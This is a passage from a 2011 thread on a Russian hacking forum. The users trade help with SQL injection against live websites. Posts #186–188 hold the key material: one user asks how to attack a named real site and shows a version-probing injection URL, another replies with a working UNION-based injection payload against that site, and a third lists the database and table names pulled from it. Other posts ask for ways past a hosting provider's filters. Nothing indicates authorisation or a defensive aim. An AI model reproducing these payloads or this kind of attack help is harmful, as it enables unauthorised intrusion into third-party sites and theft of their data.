HOME    FORUMS    MEMBERS    RECENT POSTS    LOG IN  
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > ИНФО > Статьи > Авторские статьи
   
 
 
Опции темы Поиск в этой теме Опции просмотра

  #181  
Старый 07.07.2011, 19:32
M_script
Новичок
Регистрация: 04.11.2004
Сообщений: 5
Провел на форуме:
4512

Репутация: 0
По умолчанию

Цитата:
Сообщение от d1v  
d1v said:
операторы фильтруются. ничего не сделать. а хостинг попробую угадать - sweb
Если sweb, фильтр обходится без проблем
 

  #182  
Старый 07.07.2011, 19:33
d1v
Новичок
Регистрация: 21.02.2009
Сообщений: 3
Провел на форуме:
58401

Репутация: 0
По умолчанию

Цитата:
Сообщение от M_script  
M_script said:
Если sweb, фильтр обходится без проблем
Тогда прошу поделиться методом. Ибо вопрос актуальный.
 

  #183  
Старый 07.07.2011, 19:45
mega_667
Guest
Сообщений: n/a
Провел на форуме:
3667

Репутация: 0
По умолчанию

Цитата:
Сообщение от d1v  
d1v said:
Тогда прошу поделиться методом. Ибо вопрос актуальный.
spaceweb .... действительно ! Если есть метод поделитесь PLZ !
 

  #184  
Старый 07.07.2011, 20:04
d1v
Новичок
Регистрация: 21.02.2009
Сообщений: 3
Провел на форуме:
58401

Репутация: 0
По умолчанию

Цитата:
Сообщение от mega_667  
mega_667 said:
spaceweb .... действительно ! Если есть метод поделитесь PLZ !
попробуй вот так:

/showpost.php?p=2303206&postcount=14694
 

  #185  
Старый 07.07.2011, 22:31
mega_667
Guest
Сообщений: n/a
Провел на форуме:
3667

Репутация: 0
По умолчанию

Цитата:
Сообщение от d1v  
d1v said:
попробуй вот так:
/showpost.php?p=2303206&postcount=14694
WOW ! 5 баллов .... работает ! спасибО !
 

  #186  
Старый 18.07.2011, 13:58
netruxa
Новичок
Регистрация: 21.04.2008
Сообщений: 1
Провел на форуме:
10077

Репутация: 0
По умолчанию

подскажите плз как вскрывать такую защиту?

есть сайт http://www.earthcharter.ru/index.php?cnt=86

Я узнал, что там версия мускуля пятая http://www.earthcharter.ru/index.php?cnt=86+and+1=if%28substring%28version%28 %29,1,1%29=5,1,2%29

но при попытке http://www.earthcharter.ru/index.php?cnt=86+order+by+1 выдается ошибка. как ее обойти?
 

  #187  
Старый 18.07.2011, 14:27
Expl0ited
Guest
Сообщений: n/a
Провел на форуме:
262707

Репутация: 935
По умолчанию

Цитата:
Сообщение от netruxa  
netruxa said:
подскажите плз как вскрывать такую защиту?
есть сайт http://www.earthcharter.ru/index.php?cnt=86
Я узнал, что там версия мускуля пятая http://www.earthcharter.ru/index.php?cnt=86+and+1=if%28substring%28version%28 %29,1,1%29=5,1,2%29
но при попытке http://www.earthcharter.ru/index.php?cnt=86+order+by+1 выдается ошибка. как ее обойти?
Код:
Code:
http://www.earthcharter.ru/index.php?cnt=86)and(1=0)union(select(version()),2,3,4,5,6,7)--+
 

  #188  
Старый 18.07.2011, 14:38
Osstudio
Guest
Сообщений: n/a
Провел на форуме:
149611

Репутация: 81
По умолчанию

Цитата:
Сообщение от netruxa  
netruxa said:
подскажите плз как вскрывать такую защиту?
есть сайт http://www.earthcharter.ru/index.php?cnt=86
Я узнал, что там версия мускуля пятая http://www.earthcharter.ru/index.php?cnt=86+and+1=if%28substring%28version%28 %29,1,1%29=5,1,2%29
но при попытке http://www.earthcharter.ru/index.php?cnt=86+order+by+1 выдается ошибка. как ее обойти?
Там Blind.

Version: 5

DB: ecologyand_chart

Table Name: textarray

Table Name: textes

И т.д.

P.S А учитывая, что тИЦ: 20, и PR: 5, только зря потратишь время.
 

  #189  
Старый 18.07.2011, 14:42
d1v
Новичок
Регистрация: 21.02.2009
Сообщений: 3
Провел на форуме:
58401

Репутация: 0
По умолчанию

Цитата:
Сообщение от Osstudio  
Osstudio said:
Там Blind.
Version: 5
DB: ecologyand_chart
Table Name: textarray
Table Name: textes
И т.д.
P.S А учитывая, что тИЦ: 20, и PR: 5, только зря потратишь время.
[не удержался]

убейся вместе с havij.

[/не удержался]
 

  #190  
Старый 18.07.2011, 15:02
Osstudio
Guest
Сообщений: n/a
Провел на форуме:
149611

Репутация: 81
По умолчанию

Цитата:
Сообщение от d1v  
d1v said:
[не удержался]
убейся вместе с havij.
[/не удержался]
При чём тут havij?! Разве там не Blind??
 
 



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
SQL Injection: Modes of Attack, Defence, and Why It Matters bxN5 Forum for discussion of ANTICHAT 1 09.04.2007 19:07
SQL Injection FAQ bx_N Forum for discussion of ANTICHAT 2 08.03.2007 18:48



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ